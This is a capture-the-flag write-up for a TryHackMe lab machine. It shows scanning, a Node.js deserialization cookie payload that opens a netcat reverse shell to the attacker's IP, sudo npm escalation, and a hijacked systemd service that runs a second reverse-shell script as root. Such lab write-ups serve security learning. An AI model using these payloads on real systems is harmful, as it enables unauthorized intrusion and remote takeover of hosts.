TryHackMe: VulNet: Node
TryHackMe: Vulnet: node by TheCyb3rW0lf
VulnNet Entertainment has moved its infrastructure and now they're confident that no breach will happen again. You're tasked to prove otherwise and penetrate their network.
Difficulty: Easy
Web Language: JavaScript
This is again an attempt to recreate some more realistic scenario but with techniques packed into a single machine. Good luck!
Author: TheCyb3rW0lf
Discord: TheCyb3rW0lf#8594
Icon made by Freepik from www.flaticon.com
Enumeration
Let's add an entry to /etc/hosts
and run our usual rustscan
─⠠⠵ rustscan -a 10.10.31.164 --ulimit 10000 -- -sC -sV -oA vulnode -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/home/tony/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.31.164:8080
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-28 23:08 BST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
Initiating Ping Scan at 23:08
Scanning 10.10.31.164 [2 ports]
Completed Ping Scan at 23:08, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 23:08
Scanning vulnode (10.10.31.164) [1 port]
Discovered open port 8080/tcp on 10.10.31.164
Completed Connect Scan at 23:08, 0.03s elapsed (1 total ports)
Initiating Service scan at 23:08
Scanning 1 service on vulnode (10.10.31.164)
Completed Service scan at 23:08, 6.96s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.31.164.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 1.34s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.25s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
Nmap scan report for vulnode (10.10.31.164)
Host is up, received conn-refused (0.031s latency).
Scanned at 2021-03-28 23:08:26 BST for 8s
PORT STATE SERVICE REASON VERSION
8080/tcp open http syn-ack Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: VulnNet – Your reliable news source – Try Now!
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:08
Completed NSE at 23:08, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.19 seconds
Ok so we only have 1 open port 8080
which looks to be a node.js webserver
...
We have a login page at http://vulnode.thm:8080/login
Looking at the request made when logging we see it is a GET
request so the chances are this is not a login form.
All the links on the main page appear to be anchor links #
so nothing else to browse around. Let's kick off a gobuster
and see what we find....
╰─⠠⠵ gobuster dir -u http://vulnode.thm:8080/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,bak,db,sqlite,zip,gz,tar.gz,tar,php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://vulnode.thm:8080/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: sqlite,php,bak,db,gz,tar.gz,tar,txt,zip
[+] Timeout: 10s
===============================================================
2021/03/28 23:19:59 Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 173] [--> /img/]
/login (Status: 200) [Size: 2127]
What is the user flag? (user.txt)
Unfortunately gobuster
does not bring anything back so I start digging around the source code and developer tools and see we have cookie set
session: eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D
Decoding this with base64
we get
{"username":"Guest","isGuest":true,"encoding": "utf-8"} ÃÜ
Let's try changing this to Admin
and isGuest
to false
eyJ1c2VybmFtZSI6IkFkbWluIiwiaXNHdWVzdCI6ZmFsc2UsImVuY29kaW5nIjogInV0Zi04In0Kw9w=
Oops that cause an error...
SyntaxError: Unexpected token � in JSON at position 57
at JSON.parse (<anonymous>)
at Object.exports.unserialize (/home/www/VulnNet-Node/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/www/VulnNet-Node/server.js:16:24
at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
at next (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
at /home/www/VulnNet-Node/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:335:12)
at next (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:275:10)
Hmmm although not what we intended to do this gives us some information. We can see it is trying deserialize the cookie that we provide. If we {Insert search engine verb here} nodejs deserialization exploit
we can find some exploits. Eventually I come up with payload
{"username":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.0.7 4444 >/tmp/f')}()","isGuest":false,"encoding": "utf-8"}
which we then need to base64 encode
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiAoKXtcbiBcdCByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuOS4wLjcgNDQ0NCA+L3RtcC9mJyl9KCkiLCJpc0d1ZXN0IjpmYWxzZSwiZW5jb2RpbmciOiAidXRmLTgifQ==
Once we send this cookie we get a shell back...
╰─⠠⠵ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.31.164 58512
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www
After doing our usual trick to get a stable pty
shell we run sudo -l
www@vulnnet-node:~$ sudo -l
Matching Defaults entries for www on vulnnet-node:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www may run the following commands on vulnnet-node:
(serv-manage) NOPASSWD: /usr/bin/npm
Check GTFObins for npm we can see a way to get a shell.
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
chmod 777 /tmp/tmp* -R
sudo -u serv-manage npm -C $TF --unsafe-perm i
> @ preinstall /tmp/tmp.3RJOhRhwAQ
> /bin/sh
$ id
uid=1000(serv-manage) gid=1000(serv-manage) groups=1000(serv-manage)
Note: I had to use the
chmod
otherwiseserv-manage
does not have permission to access the package.
We can then grab the flag from /home/serv-manage/user.txt
$ cat user.txt
THM{[REDACTED]}
Answer: THM{[REDACTED]}
What is the root flag? (root.txt)
Ok, so let's get a pty
shell and look at sudo -l
again.
Matching Defaults entries for serv-manage on vulnnet-node:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User serv-manage may run the following commands on vulnnet-node:
(root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
(root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
(root) NOPASSWD: /bin/systemctl daemon-reload
Looks like we can start/stop/reload some things, looking at the permissions on vulnnet-auto.timer
it looks like we have write access
serv-manage@vulnnet-node:~$ ls -l /etc/systemd/system/vulnnet-auto.timer
-rw-rw-r-- 1 root serv-manage 167 Jan 24 16:59 /etc/systemd/system/vulnnet-auto.timer
Checking this timer out we see a service file being called
[Unit]
Description=Run VulnNet utilities every 30 min
[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service
[Install]
WantedBy=basic.target
Again checking this we see we have write access
serv-manage@vulnnet-node:~$ ls -l /etc/systemd/system/vulnnet-job.service
-rw-rw-r-- 1 root serv-manage 197 Jan 24 21:40 /etc/systemd/system/vulnnet-job.service
Let's take a look....
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer
[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df
[Install]
WantedBy=multi-user.target
Ok so this is calling /bin/df
each time it runs, lets change this to run a file we create
#!/bin/bash
rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|/bin/sh -i 2>&1|nc 10.9.0.7 4445 >/tmp/g
Then change our service file to the below.
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer
[Service]
# Gather system statistics
Type=forking
ExecStart=/tmp/shell
[Install]
WantedBy=multi-user.target
Now let's stop and start the timer
serv-manage@vulnnet-node:~$ sudo /bin/systemctl stop vulnnet-auto.timer
serv-manage@vulnnet-node:~$ sudo /bin/systemctl start vulnnet-auto.timer
On our listener we now get a shell back
╰─⠠⠵ nc -lvnp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.31.164 60676
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
THM{[REDACTED]}
Answer: THM{[REDACTED]}
Boom, done!
Another room done, not had to do any serialisation for a while so took a bit to figure out the payload. All in all it was fun a room.